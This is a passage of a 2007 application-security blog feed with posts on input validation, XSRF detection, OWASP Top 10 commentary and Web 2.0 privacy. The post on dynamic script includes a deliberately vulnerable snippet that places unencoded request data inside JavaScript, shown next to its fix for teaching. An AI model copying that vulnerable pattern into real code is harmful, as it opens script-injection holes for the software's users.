the type of data you intended to operate on.  This was absolutely critical to having the application behave as expected.&lt;br /&gt;&lt;br /&gt;C and assembler programmers know this very well.  If you don't deal with the right type of input in your application, you'll get very odd results.  Things like reading random areas of memory, buffer overruns, fencepost errors, and on the rare occasion, you'll give your application the ability to inject new handlers into the Interrupt Vector Table.  But somewhere around VB4, and those other 4-GL's, when components were coupled to the code that deals with them, and the design interface &lt;span style="font-weight:bold;"&gt;allowed&lt;/span&gt; but didn't &lt;span style="font-weight:bold;"&gt;require&lt;/span&gt; you to specify the format of incoming data, applications went very quickly from prototype to production, and those simple requirements were left by the wayside.  (I think I'm guilty of telling people &amp;quot;Don't enter apostrophes, they mess things up&amp;quot; as well.)&lt;br /&gt;&lt;br /&gt;Things didn't improve when we made web applications.  And at some point security professionals thought they'd start recommending input validation again.  But since the application security field seems to have evolved out of network security, rather than application development, security professionals always made recommendations regarding &amp;quot;malicious characters&amp;quot; (a term that makes me sick to my stomach).  So those developers who have effectively been un-trained (or never trained at all) of good input validation habits are now being drawn into what is almost as bad - blacklist input validation.  I say almost as bad because it blacklist input validation provides very, very little protection (just ask MySpace), but gives developers a false sense of security.&lt;br /&gt;&lt;br /&gt;So what are the &lt;span style="font-weight:bold;"&gt;good&lt;/span&gt; habits?  I think the best approach to input validation is to follow this (pretty well agreed-upon) formula:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Whitelist input validation.  If the specific item requested or sent by the user isn't in the list, reject the value.  And this can happen in more places than you might think.  If you have a jump page, you know the pages you expect to send your users to off your site, so enumerate those, and use &lt;a href="http://sylvanvonstuppe.blogspot.com/2006/10/level-of-indirection.html"&gt;a level of indirection&lt;/a&gt; so that the user can only send, say integers, which index into an array with the list of sites that you can jump to.&lt;/li&gt;&lt;li&gt;Positive regex matching.  This is where you specify a regular expression that the field must match.  Phone number matching might look (in the US) something like:  /\(?\d{3}[)-]?\d{3}-?\d{4}/, and if the data doesn't match that, then reject.  Surnames might match /^([a-zA-Z]+[ '-])?[A-Z][A-Za-z]+$/.  If I get the time, I'll reconstruct my regex for matching an IP address without having to do arithmetic on each octet.&lt;/li&gt;&lt;li&gt;Negative regex matching.  This is &amp;quot;don't allow malicious characters&amp;quot;.  I hate this philosophy.  There are a billion ways that &amp;quot;malicious characters&amp;quot; (did the bytes themselves intend harm?) can be encoded on input.  If you're stuck with this, you had &lt;span style="font-weight:bold;"&gt;better&lt;/span&gt; be doing presentation filtering (another good habit) further down the pipe - you are bound to miss something.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;So there you have it.  Deal with what you expect, first.  And please use libraries where possible like the &lt;a href="http://jakarta.apache.org/commons/validator/"&gt;Apache Commons Validator&lt;/a&gt;, which will give you a really consistent interface for validating things.  And really, really look for chances to apply &lt;a href="http://sylvanvonstuppe.blogspot.com/2006/10/level-of-indirection.html"&gt;a level of indirection&lt;/a&gt;.  Like I say, there are probably more places that you can do that than you might think.  (Primary key fields, jump URL's, any list, etc.)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-4346000229538528010?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://sylvanvonstuppe.blogspot.com/2007/02/its-our-own-fault.html' title='Good Habits Part I:  Input Validation'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/4346000229538528010/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/good-habits-part-i-input-validation.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4346000229538528010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4346000229538528010'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/good-habits-part-i-input-validation.html' title='Good Habits Part I:  Input Validation'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-2694608234886828466</id><published>2007-02-17T13:08:00.000Z</published><updated>2007-02-17T13:17:11.686Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='users'/><title type='text'>Using Evil for Purposes of Good?</title><content type='html'>&lt;span style="font-style:italic;"&gt;I understand this is a really, really limited use, and that something really needs to be done about the problem.  I'm not advocating keeping it around because I found an uber-limited use for it.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The other day I saw something that really annoyed me, that could actually go away with the &lt;a href="http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html"&gt;CSS History Hack&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;My colleagues and I use &lt;a href="http://del.icio.us/"&gt;del.icio.us&lt;/a&gt; to send bookmarks to each other because we can subscribe to RSS feeds of those in Firefox.  If you label a link with for:&amp;lt;&amp;lt;whomever&amp;gt;&amp;gt;, the link will show up under Links For Me, and you can subscribe with an RSS feed.&lt;br /&gt;&lt;br /&gt;Unfortunately, when you actually visit the page, they can't tell when you've visited the page or not, so it shows up in a &amp;quot;new&amp;quot; listing at the top, regardless of how &amp;quot;new&amp;quot; it really is to you.&lt;br /&gt;&lt;br /&gt;If &lt;a href="http://del.icio.us/"&gt;del.icio.us&lt;/a&gt; used the &lt;a href="http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html"&gt;CSS History Hack&lt;/a&gt;, they could go through the list they're going to show you and remove the &amp;quot;new&amp;quot; links so you don't have to remember by name something you visited months ago.&lt;br /&gt;&lt;br /&gt;But then again, an easier fix would be to have the links in the RSS feed go through del.icio.us first so that they can record on their side that you've seen the site.  This is a more elegant solution, too, because you might not always visit shared links from the same machine.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-2694608234886828466?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/2694608234886828466/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/using-evil-for-purposes-of-good.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2694608234886828466'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2694608234886828466'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/using-evil-for-purposes-of-good.html' title='Using Evil for Purposes of Good?'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-2542513461511376996</id><published>2007-02-16T23:51:00.000Z</published><updated>2007-02-16T23:54:25.618Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><title type='text'>XSS in SVG embedded Base64</title><content type='html'>Blech!&lt;br /&gt;&lt;br /&gt;But then again, the more I thought about it, the more I decided that it's &lt;span style="font-weight:bold;"&gt;probably&lt;/span&gt; not that great of a vector.  First thought was that because the script is embedded in Base64, output filtering isn't any good there.&lt;br /&gt;&lt;br /&gt;But the more I think about it, the more I think it's an unlikely (although &lt;span style="font-weight:bold;"&gt;really&lt;/span&gt; creative) attack vector.  Unlikely, because if output filtering is being done, you'd have to already be inside a src attribute of an embed element.&lt;br /&gt;&lt;br /&gt;Very nice find, however.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-2542513461511376996?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://rgaucher.info/b/index.php/post/2007/02/16/The-return-of-the-SVG-XSS' title='XSS in SVG embedded Base64'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/2542513461511376996/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/xss-in-svg-embedded-base64.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2542513461511376996'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2542513461511376996'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/xss-in-svg-embedded-base64.html' title='XSS in SVG embedded Base64'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-2943780946295726026</id><published>2007-02-15T19:47:00.000Z</published><updated>2007-02-15T19:51:05.712Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='other'/><title type='text'>Shocking Scientific Finding</title><content type='html'>Now, I'm not a paleontologist, so pardon me for sticking my nose where it doesn't belong, but it's very recently been discovered that chimpanzees behaved 4,300 years ago very similarly to the way they do today.  This is news?&lt;br /&gt;&lt;br /&gt;I read the whole article, and it could very well be that there aren't paleontology experts at CNN, so the article is poorly written, but I read the whole article to make sure I wasn't missing something.  Evidently I'm not missing anything - chimpanzees behaving similarly 4,300 years ago to the way they behave today is supposed to be a groundbreaking discovery.&lt;br /&gt;&lt;br /&gt;It was only a few years ago that scientists &amp;quot;discovered&amp;quot; that Mexican food is largely high in salt and fat.&lt;br /&gt;&lt;br /&gt;I'm in the wrong field.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-2943780946295726026?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.cnn.com/2007/TECH/science/02/12/chimps.with.hammers.ap/index.html?eref=rss_space' title='Shocking Scientific Finding'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/2943780946295726026/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/shocking-scientific-finding.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2943780946295726026'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2943780946295726026'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/shocking-scientific-finding.html' title='Shocking Scientific Finding'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-6318273049231499504</id><published>2007-02-14T22:47:00.000Z</published><updated>2007-02-14T23:01:04.537Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><title type='text'>It's our own fault</title><content type='html'>Security practitioners are actually a large part of the reason developers aren't &lt;span style="font-weight: bold;"&gt;truly&lt;/span&gt; getting better at security.  As security practitioners, we've told developers to actually think about security, but because we don't know enough about development, we've actually lessened the degree of the problem.  Let me give a few examples, then the results of that...&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Cross-site Scripting&lt;/span&gt; - is actually just an extension of the old &amp;lt; or &amp;gt; problem.  This is also partially browsers' faults for allowing malformed HTML, but I digress.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;SQL Injection&lt;/span&gt; - just an extension of the question "what happens when somebody sends something that mucks up the statement?"&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;XSRF&lt;/span&gt; - just an extension of the thing we used to solve by adding "Please only submit the form once"&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;It's not that those threats aren't threats against security.  But the real solutions to those problems are solutions to other problems.  But as security practitioners, we don't seem to understand that all HTML output should be encoded in case something would mess up the validity of the HTML.&lt;br /&gt;&lt;br /&gt;The end result is that we're able to identify the things we deem to be security flaws, and developers "fix" those specific findings to make us go away, but they never really learn to write better code.  They don't see the correlation between security findings and the real solutions to the problem.&lt;br /&gt;&lt;br /&gt;Now, security practitioners aren't the only ones at fault:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;All programming books are at fault because they tell you how to write the language, and in being focused on getting functionality right, they completely abandon writing &lt;span style="font-weight: bold;"&gt;good&lt;/span&gt; code.&lt;/li&gt;&lt;li&gt;Classrooms are at fault because rarely do students take a class on dealing with the unexpected.  Most entry-level programmers assume people will use the application just as expected, with no keystroke errors.&lt;/li&gt;&lt;li&gt;It's the fault of QA testers, because they test the application for functionality and load, but not for dealing with erroneous behavior.&lt;/li&gt;&lt;li&gt;It's the fault of timelines (not sure who to really blame that on - customers? managers? CEO's?) because the entire development lifecycle is geared around functionality, not necessarily quality of said functionality.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;So the short part of the story here is that when a &amp;quot;security problem&amp;quot; exists, see if you can determine the &lt;span style="font-weight:bold;"&gt;real&lt;/span&gt; cause, so that developers can get into good habits.  Good habits that will be covered in more detail in later posts....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-6318273049231499504?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/6318273049231499504/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/its-our-own-fault.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6318273049231499504'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6318273049231499504'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/its-our-own-fault.html' title='It&apos;s our own fault'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-6008205406160220682</id><published>2007-02-10T12:37:00.000Z</published><updated>2007-02-08T13:40:54.665Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='xsrf'/><title type='text'>Semantic Tests for XSRF</title><content type='html'>I've been noodling over ways to implement a semantic check for XSRF, and unfortunately, unless you're in a place where you have a single development environment and well-defined methods for dealing with things, there's not a good one (that I've discovered yet).&lt;br /&gt;&lt;br /&gt;Most of the ideas I've worked through have started on the presentation side.  On the presentation side, a single type of check gets coverage from black box and white box testing.  The rules I had come up with initially became very complex as I tried to reduce false-negatives.&lt;br /&gt;&lt;br /&gt;The idea is similar to the &lt;a href="http://www.owasp.org/index.php/CSRF_Guard"&gt;OWASP CSRF Guard&lt;/a&gt;, except the benefit of the CSRF Guard is that they know the business rules, so it doesn't have to be generic.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;For all forms, find hidden inputs with a name with token in it, and a value with a suitable amount of entropy&lt;/li&gt;&lt;li&gt;If the previous test fails on any form, test to see if there's a token in the action of the form.  Blackbox, refresh the page to see if that token changes.  Whitebox, use logic tests to determine if the token is generated automatically with a sufficient random library.&lt;/li&gt;&lt;li&gt;If the previous test fails, perform the same test on the names of the elements in the form.  This is susceptible to false negatives because lots of places will allow editing several "rows" on a single page, so the element names would include the key of the row in the names for each element in the row.&lt;/li&gt;&lt;li&gt;For all links on the page, if there are parameters, determine if there is more than one, if one of them looks like a token.  (This is also very susceptible to false negatives because many frameworks use path info rather than parameters to pass values back).&lt;/li&gt;&lt;/ul&gt;So no matter what I came up with, the more I tried to be generic, the more false negatives I would get because &amp;quot;suitably random&amp;quot; values could end up in the form anywhere.&lt;br /&gt;&lt;br /&gt;I think I'm gonna love XSRF - the more we try to automate the discovery of it, the more we realize that there just exist flaws that take a real person to find.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-6008205406160220682?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/6008205406160220682/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/semantic-tests-for-xsrf.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6008205406160220682'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6008205406160220682'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/semantic-tests-for-xsrf.html' title='Semantic Tests for XSRF'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-4075802022460592055</id><published>2007-02-08T02:42:00.000Z</published><updated>2007-03-28T15:05:02.183Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='output filtering'/><title type='text'>Limiting Script Injection in Dynamic Script</title><content type='html'>One of the places you see script injection is actually inside of dynamically-generated javascript.  XSS doesn't just have to happen in HTML, and it's actually somewhat surprising how often it happens in Javascript.&lt;br /&gt;&lt;br /&gt;If the dynamically-created script is in an HTML page, a handy trick to work around this is to actually move the dynamic parts outside of javascript.  When you include dynamic pieces with user-controlled data inside the script, there are so many more characters to deal with, &lt;span style="font-weight: bold;"&gt;and&lt;/span&gt; the attacker doesn't have to generate HTML tags to get their script executed.&lt;br /&gt;&lt;br /&gt;Take the following example:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;...&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;var name = '&amp;lt;%= request['name'] %&amp;gt;';&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;In that simple example, normal HTML encoding won't work because you've got apostrophes.  But if you're inside double quotes, you have to deal with those, and apostrophes might be perfectly legitimate characters.  To deal with that easily, just replace it with something like this:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;...&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;var name = document.forms['holder'].elements['uname'].value;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;...&lt;br /&gt;&amp;lt;form name="holder"&amp;gt;&lt;br /&gt;&amp;lt;input type="hidden" name="uname" value="&amp;lt;%= encode(request['name']) %&amp;gt;"/&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This way, you don't have to think about what kind of quotes you're in (if any), you just let your framework's trusty encoding library do the heavy lifting for you.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-4075802022460592055?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/4075802022460592055/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/limiting-script-injection-in-dynamic.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4075802022460592055'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4075802022460592055'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/limiting-script-injection-in-dynamic.html' title='Limiting Script Injection in Dynamic Script'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-8848963924724465296</id><published>2007-02-07T20:43:00.000Z</published><updated>2007-02-07T21:01:26.326Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='OWASP Top 10'/><title type='text'>OWASP Top 10 2007 Update RC1 - A5 A6</title><content type='html'>&lt;span style="font-weight: bold;"&gt;A5 - Cross-site Request Forgery (CSRF)&lt;/span&gt; - Editor's note, I call it XSRF, but I've also seen Session Riding and a couple of other names.  Go ahead and get them all confused.  Unless all malicious actions are somehow of benefit to the attacker, then I'd probably remove the statement &amp;quot;to the benefit of the attacker&amp;quot;.  This can also be used for DoS, or getting the carrier to do anything under their own privileges.&lt;br /&gt;&lt;br /&gt;The recommendations are pretty sound, but I would certainly flesh them all out.  With the first item, you need to &lt;span style="font-weight: bold;"&gt;focus&lt;/span&gt; on those locations where XSRF also exists.  Yes - you should get rid of all of them, but start on those - particularly if your request token is specific to the action, not the session.  The third bullet should be fleshed out more to specify how to re-authenticate.  This can include just asking for the password again, a CAPTCHA, or one-time password.  And using GET over POST really doesn't do much at all to help.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A6 Information Leakage and Improper Error Handling&lt;/span&gt; - Another sort of catch-all that leads to flaws like A4 (particularly when there's key exposure or filename information).  One global 500 configuration I've seen that's very effective is that each application error generates a unique instance ID - I don't mean for the class of error, but the exact occurrence.  This way, a user who calls the help desk can give an ID and support teams can trace logs by a unique ID.  Of course, this same ID could just be emailed to the support team.&lt;br /&gt;&lt;br /&gt;It's also very important that you configure every layer of your error handling to look the same.  For example, exceptions handled by Struts can be configured in the struts configuration.  But what if the attacker calls a method that makes the framework puke?  Then you get a 500 error handled by the app server.  Even if you make the error screens look precisely the same, generally an application error in Struts returns a 200, while a Struts error returns a 500 - so you'll want to make sure your global exception handler throws a 500 and returns no content - this way the app server's 500 will be displayed.  (The proof is left as an exercise for the reader).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-8848963924724465296?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.owasp.org/index.php/Top_10_2007' title='OWASP Top 10 2007 Update RC1 - A5 A6'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/8848963924724465296/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/owasp-top-10-2007-update-rc1-a5-a6.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8848963924724465296'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8848963924724465296'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/owasp-top-10-2007-update-rc1-a5-a6.html' title='OWASP Top 10 2007 Update RC1 - A5 A6'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-8538904555068796987</id><published>2007-02-05T21:54:00.000Z</published><updated>2007-02-05T22:14:49.957Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='users'/><title type='text'>Web 2.0 As a Society Anti-Pattern</title><content type='html'>Political scientists will kill me for over-simplifying it, but Social Contract Theory is almost universally accepted as at least to some degree true.  Regardless of whether you think people popped up in individual vacuums and formed societies later, were created in societies, or evolved from already social animals, it's pretty universally agreed that today that we live in societies with governments with the understanding that we give up a &lt;span style="font-weight: bold;"&gt;few&lt;/span&gt; of our freedoms in order to protect &lt;span style="font-weight: bold;"&gt;many&lt;/span&gt; of our freedoms.  Some of these freedoms are really, really basic, so this is independent of most types of government - i.e., you give up your ability to kill others ungoverned in order to protect your ability to live.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;If you made it this far without commenting that we live in governments because some really strong people managed to manipulate the remainder, congratulations....&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;When I refer to Web 2.0, I don't really mean so much the technological aspects of it (AJAX, tagging, etc.), but more of the social aspects - sharing &amp;quot;anonymously&amp;quot;, everybody owns the content, not a single entity, blogging really personal information, etc.&lt;br /&gt;&lt;br /&gt;The interesting irony of the social aspects of Web 2.0 is that it seems to be the inverse of normal Social Contract Theory.  Users give up many of their rights in order to protect a few.  If you take a handful of examples such as social bookmarking, online journaling, and social exchange sites like MySpace, here's what people (knowingly or unknowingly) &lt;span style="font-weight: bold;"&gt;generally&lt;/span&gt; give up:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A pretty high degree of privacy&lt;/li&gt;&lt;li&gt;Varying degrees of security&lt;/li&gt;&lt;li&gt;Some degree of anonymity&lt;/li&gt;&lt;li&gt;A small degree of personal safety (giving up personal information and inherently trusting others leaves people open to situations they might not ordinarily put themselves into)&lt;/li&gt;&lt;/ul&gt;But I'm not yet convinced what people hope to get out of giving those things up.  Maybe it's some amount of convenience (social bookmarking sites can be better search engines, maybe), or maybe some amount of hubris (can I reveal something really personal making my MySpace page uber-popular?), or possibly this is all an extension of the anonymity that Web 1.0 provided.  People who were ashamed to socialize in reality began to do so in chat rooms and forums and stuff.  There was some degree of anonymity, and a lot less shame there (they'll never know I'm ugly by the way I type, right?)  But what has happened as a result of that is that online journal-ers (I count this distinct from professional blogging) give out really personal information to a whole lot more people than they would without the web.&lt;br /&gt;&lt;br /&gt;A colleague says that most of the rights people give up now are more a result of ignorance than it is a willing belaying of rights in order to gain some other.  I suppose maybe he's right, but it just seems so odd to me to give out really personal information, even under a pen-name, in the interest of .... something ....&lt;br /&gt;&lt;br /&gt;Am I wrong?  Am I reading far too much into a lot of the social sites?  I don't follow them, so I'm really not &amp;quot;in the know&amp;quot; on their value.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-8538904555068796987?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/8538904555068796987/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/web-20-as-society-anti-pattern.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8538904555068796987'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8538904555068796987'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/web-20-as-society-anti-pattern.html' title='Web 2.0 As a Society Anti-Pattern'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-5173244741873597448</id><published>2007-02-05T18:00:00.000Z</published><updated>2007-02-05T18:22:05.819Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='OWASP Top 10'/><title type='text'>OWASP Top 10 2007 Update RC1 - A3 A4</title><content type='html'>A3 - Malicious File Execution - or is it Insecure Remote File Include?  The names are used interchangeably in the document, which is annoying.  By looking at the name, they &lt;span style="font-weight: bold;"&gt;appear&lt;/span&gt; to mean entirely different things.  And equally irritating is that it appears to be the same flaw as A4, except A4 could also include key exposure.&lt;br /&gt;&lt;br /&gt;The more I read it, it appears that this is supposed to be inclusion or execution of things that are not supposed to be part of the web application at all, which would make it just another injection attack (see A2).  But I'm odd in the way I want to categorize things.  Or on another read, it appears to imply that actual code submitted by users is to be executed by the web server - even more shocking that people would somehow find a legitimate need to do this.&lt;br /&gt;&lt;br /&gt;One of the recommendations there is to use &lt;a href="http://sylvanvonstuppe.blogspot.com/2006/10/level-of-indirection.html"&gt;a level of indirection&lt;/a&gt;, but it's very far down on the list.  You as a developer know what it's okay for a user to access, so make sure to abstract that so that the user doesn't get to tell you what they can 